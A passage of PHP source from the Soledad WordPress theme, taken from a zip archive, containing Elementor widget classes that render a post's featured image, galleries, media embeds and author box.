            <div class="container penci-breadcrumb single-breadcrumb">
                    <span><a class="crumb"
                             href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				if ( get_theme_mod( 'enable_pri_cat_yoast_seo' ) ) {
					$primary_term = penci_get_wpseo_primary_term();

					if ( $primary_term ) {
						echo $primary_term;
					} else {
						$penci_cats = get_the_category( get_the_ID() );
						$penci_cat  = array_shift( $penci_cats );
						echo penci_get_category_parents( $penci_cat );
					}
				} else {
					$penci_cats = get_the_category( get_the_ID() );
					$penci_cat  = array_shift( $penci_cats );
					echo penci_get_category_parents( $penci_cat );
				}
				?>
                <span><?php the_title(); ?></span>
            </div>
		<?php }
	}
}
PK     N\΄?  ?  1  inc/template-builder/single-elements/featured.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleFeatured extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Featured Image', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image-rollover';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'featured' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-ft elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-featured';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_single_custom_thumbnail_size', array(
			'label'   => __( 'Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'penci_single_custom_thumbnail_msize', array(
			'label'   => __( 'Image Size for Mobile', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'penci_disable_autoplay_single_slider', array(
			'label'       => __( 'Disable Autoplay on Slider', 'soledad' ),
			'description' => __( 'For gallery post format', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SWITCHER,
			'default'     => '',
		) );

		$this->add_control( 'penci_post_gallery_caption', array(
			'label'   => __( 'Show Image Caption', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SWITCHER,
			'default' => '',
		) );

		$this->add_control( 'penci_disable_lightbox_single', array(
			'label'   => __( 'Disable Image Lightbox', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SWITCHER,
			'default' => '',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'style_section', [
			'label'     => esc_html__( 'Caption Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_post_gallery_caption' => 'yes' ]
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'caption_typo',
			'label'    => __( 'Typography for Caption Text', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-single-gallery-captions',
		) );

		$this->add_control( 'caption_color', array(
			'label'     => __( 'Caption Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-single-gallery-captions' => 'color:{{VALUE}}' ]
		) );

		$this->add_control( 'caption_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-single-gallery-captions' => 'background-color:{{VALUE}}' ]
		) );

		$this->end_controls_section();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		?>
        <div class="standard-post-special post-image">
            <img src="<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=1200&h=800'; ?>"
                 alt="">
        </div>
		<?php
	}

	protected function builder_content() {
		$settings       = $this->get_settings();
		$simage_df_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		$simage_size    = $settings['penci_single_custom_thumbnail_size'] ? $settings['penci_single_custom_thumbnail_size'] : $simage_df_size;
		if ( penci_is_mobile() ) {
			$simage_size = $settings['penci_single_custom_thumbnail_msize'] ? $settings['penci_single_custom_thumbnail_msize'] : 'penci-masonry-thumb';
		}
		if ( has_post_thumbnail() ) {
			$thumb_id         = get_post_thumbnail_id( get_the_ID() );
			$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
			$thumb_title_html = penci_get_image_title( $thumb_id );

			$image_width  = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'w', false );
			$image_height = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'h', false );
		}
		if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
            <div class="standard-post-special post-image<?php if ( penci_get_post_format( 'quote' ) ): ?> penci-special-format-quote<?php endif; ?><?php if ( ! has_post_thumbnail() ) : echo ' no-thumbnail'; endif; ?>">
				<?php if ( has_post_thumbnail() ) : ?>
					<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                        <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                             src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                             alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                             width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                             data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
					<?php } else { ?>
						<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
					<?php } ?>
				<?php endif; ?>
                <div class="standard-content-special">
                    <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
						echo ' penci-format-quote';
					} else {
						echo ' penci-format-link';
					} ?>">
                        <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                        <p class="dt-special">
							<?php
							if ( penci_get_post_format( 'quote' ) ) {
								$dt_content = get_post_meta( get_the_id(), '_format_quote_source_name', true );
								if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
							} else {
								$dt_content = get_post_meta( get_the_id(), '_format_link_url', true );
								if ( ! empty( $dt_content ) ):
									echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
								endif;
							}
							?>
                        </p>
						<?php
						if ( penci_get_post_format( 'quote' ) ):
							$quote_author = get_post_meta( get_the_id(), '_format_quote_source_url', true );
							if ( ! empty( $quote_author ) ):
								echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
							endif;
						endif; ?>
                    </div>
                </div>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( get_the_id(), '_format_gallery_images', true ); ?>

			<?php if ( $images ) :
				$autoplay = ! $settings['penci_disable_autoplay_single_slider'] ? 'true' : 'false';
				?>
                <div class="post-image">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

                            <div class="swiper-slide swiper-mark-item">

								<?php $the_image = wp_get_attachment_image_src( $image, $simage_size ); ?>
								<?php $the_caption = get_post_field( 'post_excerpt', $image );
								$image_alt         = penci_get_image_alt( $image, get_the_ID() );
								$image_title_html  = penci_get_image_title( $image );
								?>
                                <figure class="item-link-relative penci-swiper-mask">
									<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
										<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                        <img class="penci-lazy"
                                             src="<?php echo penci_holder_image_base( $the_image[1], $the_image[2] ); ?>"
                                             width="<?php echo $the_image[1]; ?>" height="<?php echo $the_image[2]; ?>"
                                             data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                             alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
									<?php } else { ?>
                                        <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                             width="<?php echo $the_image[1]; ?>" height="<?php echo $the_image[2]; ?>"
                                             alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
									<?php } ?>
									<?php if ( $settings['penci_post_gallery_caption'] && $the_caption ): ?>
                                        <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
									<?php endif; ?>
                                </figure>
                            </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) :
			$penci_video = get_post_meta( get_the_id(), '_format_video_embed', true );
			$type_video = self::get_type_video( $penci_video );
			?>

            <div class="post-image penci-video-format-<?php echo esc_attr( $type_video ); ?>">
				<?php if ( wp_oembed_get( $penci_video ) ) : ?>
					<?php echo wp_oembed_get( $penci_video ); ?>
				<?php else : ?>
					<?php echo $penci_video; ?>
				<?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

            <div class="standard-post-image post-image audio<?php if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) : echo ' no-thumbnail'; endif; ?>">
				<?php if ( has_post_thumbnail() ) : ?>
					<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                        <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                             width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                             src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                             alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                             data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
					<?php } else { ?>
						<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
					<?php } ?>
				<?php endif; ?>
                <div class="audio-iframe">
					<?php $penci_audio = get_post_meta( get_the_id(), '_format_audio_embed', true );
					$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
					<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
						<?php echo wp_oembed_get( $penci_audio ); ?>
					<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
						<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
					<?php else : ?>
						<?php echo $penci_audio; ?>
					<?php endif; ?>
                </div>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() ) : ?>

                <div class="post-image">
					<?php
					if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
						$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( get_the_id() ) );
						echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
						?>
						<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                            <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                                 width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                                 src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                                 alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                 data-sizes="<?php echo penci_image_datasize( $simage_size, 'penci-masonry-thumb' ); ?>"
                                 data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $simage_size, 'penci-masonry-thumb' ); ?>"
                                 data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
						<?php } else { ?>
							<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
						<?php } ?>
						<?php
						echo '</a>';
					} else {
						?>
						<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                            <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                                 width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                                 src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                                 alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                 data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
						<?php } else { ?>
							<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
						<?php } ?>
						<?php
					}
					if ( get_the_post_thumbnail_caption() && $settings['penci_post_gallery_caption'] ) {
						echo '<div class="penci-featured-caption">' . get_the_post_thumbnail_caption() . '</div>';
					}
					?>
                </div>

			<?php endif; ?>

		<?php endif;
	}

	public static function get_type_video( $video_embed ) {
		if ( ! $video_embed ) {
			return '';
		}

		$video_embed = strtolower( $video_embed );
		if ( false !== strpos( $video_embed, 'vimeo.com' ) ) {
			return 'vimeo';
		}

		if ( false !== strpos( $video_embed, 'youtu.be' ) ||
		     false !== strpos( $video_embed, 'youtube-nocookie.com' ) ||
		     false !== strpos( $video_embed, 'youtube.com' ) ) {
			return 'youtube';
		}

		preg_match( '#^(http|https)://.+\.(mp4|m4v|webm|ogv|wmv|flv)$#i', $video_embed, $matches );
		if ( ! empty( $matches[0] ) ) {
			return 'selfhosted';
		}

		return '';
	}
}
PK     N\I%-  -  /  inc/template-builder/single-elements/author.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleAuthor extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Author', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-user-circle-o';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'author' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-athor elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-author';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_authorbio_style', [
			'label'   => esc_html__( 'Author Box Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => [
				'style-1' => 'Default',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
			]
		] );

		$this->add_control( 'penci_bioimg_style', [
			'label'   => esc_html__( 'Author Box Image Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'round',
			'options' => [
				'round'  => 'Round',
				'square' => 'Square',
				'sround' => 'Round Borders',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'avata_img', [
			'label' => esc_html__( 'Avatar Image', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );
		$this->add_responsive_control( 'penci_author_ava_size', [
			'label'     => 'Author Image Size',
			'default'   => [
				'unit' => 'px',
				'size' => 100,
			],
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => [
				'{{WRAPPER}} .post-author.abio-style-1 .author-content,{{WRAPPER}} .post-author.abio-style-2 .author-content' => 'margin-left:calc({{SIZE}}px + 20px)',
				'body.rtl {{WRAPPER}} .post-author.abio-style-1 .author-content,body.rtl {{WRAPPER}} .post-author.abio-style-2 .author-content' => 'margin-left:0;margin-right:calc({{SIZE}}px + 20px)',
				'{{WRAPPER}} .post-author .author-img'                                                                        => 'width:{{SIZE}}px;max-width:100%;',
				'{{WRAPPER}} .post-author.abio-style-3 .author-img,{{WRAPPER}} .post-author.abio-style-4 .author-img'         => 'margin-right:auto;margin-left:auto;width:{{SIZE}}px;',
				'{{WRAPPER}} .post-author .author-img img'                                                                    => 'width:100%;height:auto;',
				'{{WRAPPER}} .abio-style-4'                                                                                   => 'margin-top:calc({{SIZE}}px/2);',
				'{{WRAPPER}} .abio-style-4 .author-img'                                                                       => 'margin-top:calc({{SIZE}}px/2 * -1 - 20px);',
			],
		] );
		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'author_bg_color', [
			'label'     => 'Author Box Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-author' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_bd_color', [
			'label'     => 'Author Box Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-author' => 'border:1px solid {{VALUE}}' ],
		] );

		$this->add_control( 'author_abd_color', [
			'label'     => 'Author Image Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .abio-style-3 .author-img img, {{WRAPPER}} .abio-style-4 .author-img img' => 'border-color: {{VALUE}};box-shadow:0px 1px 2px 0px {{VALUE}}' ],
			'condition' => [ 'penci_authorbio_style' => [ 'style-3', 'style-4' ] ]
		] );

		$this->add_control( 'author_bw_color', [
			'label'      => 'Author Box Borders Width',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px', 'em', '%' ],
			'selectors'  => [
				'{{WRAPPER}} .post-author' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
			],
		] );

		$this->add_control( 'author_bd_style', [
			'label'     => 'Author Box Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				''       => esc_html__( 'Default', 'soledad' ),
				'solid'  => esc_html__( 'Solid', 'soledad' ),
				'dashed' => esc_html__( 'Dashed', 'soledad' ),
				'dotted' => esc_html__( 'Dotted', 'soledad' ),
			],
			'selectors' => [
				'{{WRAPPER}} .post-author' => 'border-style: {{VALUE}}',
			],
		] );

		$this->add_control( 'author_pd', [
			'label'      => 'Author Box Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px', 'em', '%' ],
			'selectors'  => [
				'{{WRAPPER}} .post-author' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
			],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'author_name_typo',
			'label'    => __( 'Typography for Author Name', 'soledad' ),
			'selector' => '{{WRAPPER}} .author-content > h5',
		) );

		$this->add_control( 'author_name_color', [
			'label'     => 'Author Name Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > h5, {{WRAPPER}} .author-content > h5 a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_name_hcolor', [
			'label'     => 'Author Name Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > h5 a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'author_desc_typo',
			'label'    => __( 'Typography for Author Description', 'soledad' ),
			'selector' => '{{WRAPPER}} .author-content > p',
		) );

		$this->add_control( 'author_desc_color', [
			'label'     => 'Author Description Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > p' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_desc_lcolor', [
			'label'     => 'Author Description Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > p a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_desc_hcolor', [
			'label'     => 'Author Description Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > p a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_social_lcolor', [
			'label'     => 'Author Social Icons Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .bio-social a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_social_hcolor', [
			'label'     => 'Author Social Icons Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .bio-social a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings  = $this->get_settings();
		$classes   = 'post-author';
		$bio_style = $settings['penci_authorbio_style'] ? $settings['penci_authorbio_style'] : 'style-1';
		$bio_img   = $settings['penci_bioimg_style'] ? $settings['penci_bioimg_style'] : 'round';
		$classes   .= ' abio-' . $bio_style;
		$classes   .= ' bioimg-' . $bio_img;
		$ava_size  = isset( $settings['penci_author_ava_size']['size'] ) ? $settings['penci_author_ava_size']['size'] : 100;
		?>
        <div class="<?php echo $classes; ?>">
            <div class="author-img">
				<?php echo get_avatar( get_the_author_meta( 'ID' ), $ava_size ); ?>
            </div>
            <div class="author-content">
                <h5>The Author Name</h5>
                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Cupiditate dolores et ex fugiat, laboriosam
                    magni, nam nihil officiis perferendis quam quidem saepe voluptatem. Debitis dignissimos fugit
                    inventore neque, repudiandae soluta.</p>
                <div class="bio-social">
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fas fa-globe' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-facebook-f' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-instagram' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-pinterest' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-tumblr' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-linkedin-in' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-soundcloud' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-youtube' ); ?></a>
                    <a class="author-social" href="#"><?php penci_fawesome_icon( 'fas fa-envelope' ); ?></a>
                </div>
            </div>
        </div>
		<?php
	}

	protected function builder_content() {
		$this->overwrite_mods();
		get_template_part( 'inc/templates/about_author' );
	}

	protected function overwrite_mods() {
		$settings = $this->get_settings();
		$mods     = [
			'penci_authorbio_style',
			'penci_author_ava_size',
			'penci_bioimg_style'
		];
		foreach ( $mods as $mod ) {
			if ( $mod == 'penci_author_ava_size' ) {
				$value = isset( $settings[ $mod ]['size'] ) && $settings[ $mod ]['size'] ? $settings[ $mod ]['size'] : 100;
			} else {
				$value = $settings[ $mod ];
			}
			add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
				return $value;
			} );
		}
	}
}
PK     N\e' ' 9  inc/template-builder/single-elements/featured-overlay.phpnu [        <?php

use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleFeaturedOverlay extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Featured Image Overlay', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-parallax';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'title' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-ft-o elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-featured-overlay';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_enable_jarallax_single', [
			'label' => esc_html__( 'Enable Parallax on Featured Image', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_post_thumb', [
			'label' => esc_html__( 'Hide Featured Image on Top', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HIDDEN,
		] );

		$this->add_control( 'img_size', [
			'label'   => esc_html__( 'Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => $this->get_list_image_sizes( true ),
		] );

		$this->add_control( 'img_msize', [
			'label'   => esc_html__( 'Image Mobile Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => $this->get_list_image_sizes( true ),
		] );

		$this->add_control( 'img_ratio', [
			'label'     => esc_html__( 'Image Ratio (in %)', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-single-featured-img,{{WRAPPER}} .penci-jarallax' => 'padding-top: {{SIZE}}% !important;',
			),
		] );


		$this->end_controls_section();

		$this->start_controls_section( 'content_elspacing', [
			'label' => esc_html__( 'Elements Spacing', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'element_bspacing', [
			'label'     => esc_html__( 'Breadcrumb Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .container.penci-breadcrumb' => 'margin-bottom:{{SIZE}}px'
			],
		] );

		$this->add_responsive_control( 'element_catspacing', [
			'label'     => esc_html__( 'Categories Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .penci-standard-cat' => 'margin-bottom:{{SIZE}}px'
			],
		] );

		$this->add_responsive_control( 'element_titlespacing', [
			'label'     => esc_html__( 'Post Title Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .header-standard .post-title' => 'margin-bottom:{{SIZE}}px'
			],
		] );

		$this->add_responsive_control( 'element_subtitlespacing', [
			'label'     => esc_html__( 'Post Sub Title Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .header-standard .penci-psub-title' => 'margin-bottom:{{SIZE}}px'
			],
		] );

		$this->add_responsive_control( 'element_metaspacing', [
			'label'     => esc_html__( 'Meta Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [
				'{{WRAPPER}} .post-box-meta-single' => 'margin-top:{{SIZE}}px'
			],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'content_overlay', [
			'label' => esc_html__( 'Overlay Content', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'content_overlay_align', [
			'label'     => esc_html__( 'Text Align', 'soledad' ),
